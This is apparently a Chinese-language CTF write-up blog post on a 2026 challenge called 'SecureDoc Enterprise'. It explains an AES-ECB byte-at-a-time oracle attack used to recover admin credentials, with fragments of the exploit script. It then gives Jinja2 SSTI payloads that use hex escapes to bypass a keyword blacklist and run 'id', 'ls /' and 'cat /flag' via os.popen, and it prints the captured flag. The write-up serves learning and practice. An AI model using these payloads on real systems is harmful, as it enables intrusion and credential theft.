
这是2026年数字中国网络安全赛道的一个题目,有个考点之前没见过,所以记录一下,没有找到复现环境,只能纯文字回忆
题目分析
首页是一个普通的登录/注册页面,注册并登录普通用户后进入 /dashboard
页面里有一个“数字水印加密预览”功能,请求接口:
1 | POST /documents/apply-template |
前端源码中直接出现了注释:
1 | // Preview with template function (ECB Oracle vulnerability) |
这基本就是明示第一阶段漏洞是 ECB Oracle,那么这玩意是个啥呢,我也是第一次遇到。
什么是ECB Oracle
Oracle 在这里不是数据库,而是一个“可以反复调用的加密接口”。这里呢就是上面说的接口,服务端内部大概做了这样的事情:
1 | plaintext = user_input + secret |
其中:
user_input是用户可控输入secret是服务器固定拼接的秘密内容- 本题中,
secret里包含管理员账号密码 - 服务端返回ECB加密后的密文
攻击者不知道 AES 密钥,也不能直接解密密文。但攻击者可以不断改变 user_input,然后观察返回密文的变化。这就是 ECB Oracle。
这里的关键弱点就在于AES,AES每16字节为一组进行加密,
比如明文:
1 | AAAAAAAAAAAAAAAAusername: admin... |
会被切成两块
1 | 第 1 块: AAAAAAAAAAAAAAAA |
ECB模式的核心问题在于:
相同明文块 -> 相同密文块
也就是说,只要两个16字节的明文块完全一样,他们加密后的密文块也一定完全一样;所以攻击者不需要知道密钥,也不需要真正解密 AES。攻击者只需要比较密文块是否一样。
如果相等,就说明对应的明文块也相等。那就能推算出明文来
假设服务器秘密内容是:
1 | username=admin |
攻击者不知道这个内容,先发送15个A,服务端会拼接成:
1 | AAAAAAAAAAAAAAAusername=admin |
按 16 字节分组后,第一块是:
1 | AAAAAAAAAAAAAAAu |
也就是
1 | 15 个 A + secret 的第 1 个字符 |
服务器返回这一块的密文,攻击者把它记为目标密文块,然后攻击者枚举最后一个字符,每次都发给服务器加密,看第一块密文是否等于目标密文块。
1 | AAAAAAAAAAAAAAAa |
当枚举到u,密文块相等,于是可以判断,secret第一个字符是u
同理,接下来,发送14个A,去枚举第二个字符
1 | AAAAAAAAAAAAAAua |
恢复过程会不断重复:
1 | 15 个 A + 猜第 1 个字符 |
直到恢复完整 secret。
如果 secret 是:
1 | username: admin |
最终会逐步恢复出:
1 | u |
核心就在于:我不能解密 AES,但我可以构造明文块,让未知字符进入块末尾,然后通过 ECB 密文块相等来判断我猜的字符对不对。
EXP
脚本核心逻辑在于
1 | pad_len = block - 1 - (len(recovered) % block) |
这一步实在计算本轮需要补几个A,目的:让下一个未知字符刚好落在当前16字节分组的最后一位,然后:
1 | target = oracle(prefix)[0] |
这一步是在取服务器真实secret对应的目标密文块
接着枚举字符:
1 | for ch in charset: |
这里的 probe 是:填充 A + 已恢复内容 + 猜测字符
如果 probe 的密文块等于目标密文块,说明猜测字符正确。
题目完整EXP:
1 | import http.client, json, random, string |
第二阶段:后台SSTI
登录管理员后访问:/admin/dashboard
页面中有模板预览功能,请求接口:
1 | POST /admin/report/preview |
返回:
1 | {"message":"模板预览成功","preview":"100"} |
说明模板表达式被执行了。
1. 黑名单绕过
直接使用常见 SSTI payload 会被过滤,比如:
1 | {{ self.__init__.__globals__ }} |
会返回“检测到非法模板内容”。
这里的思路是使用十六进制转义构造危险属性名,绕过关键字检测:
1 | {{ cycler|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f") }} |
这个 payload 可以成功返回 jinja2.utils 的全局变量,说明绕过成功。
2. 命令执行 payload
利用 cycler.__init__.__globals__ 取到 os 模块后执行命令:
1 | {{ cycler|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("get")("os")|attr("popen")("id")|attr("read")() }} |
返回:
1 | uid=0(root) gid=0(root) groups=0(root) |
说明已经拿到命令执行,并且当前进程权限是 root。
3. 读取 flag
先列根目录:
1 | {{ cycler|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("get")("os")|attr("popen")("ls /")|attr("read")() }} |
可以看到存在 /flag。
最终读取 flag 的 payload:
1 | {{ cycler|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("get")("os")|attr("popen")("cat /flag")|attr("read")() }} |
对应 HTTP 请求:
1 | POST /admin/report/preview |
返回:
1 | flag{5IhSSqUrZup8NkFoobdZmmCSpeBa9oL8} |
- Post title: 数字中国2026_SecureDoc Enterprise
- Create time: 2026-05-14 10:49:29
- Post link: 2026/05/14/SecureDoc Enterprise_wp/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.
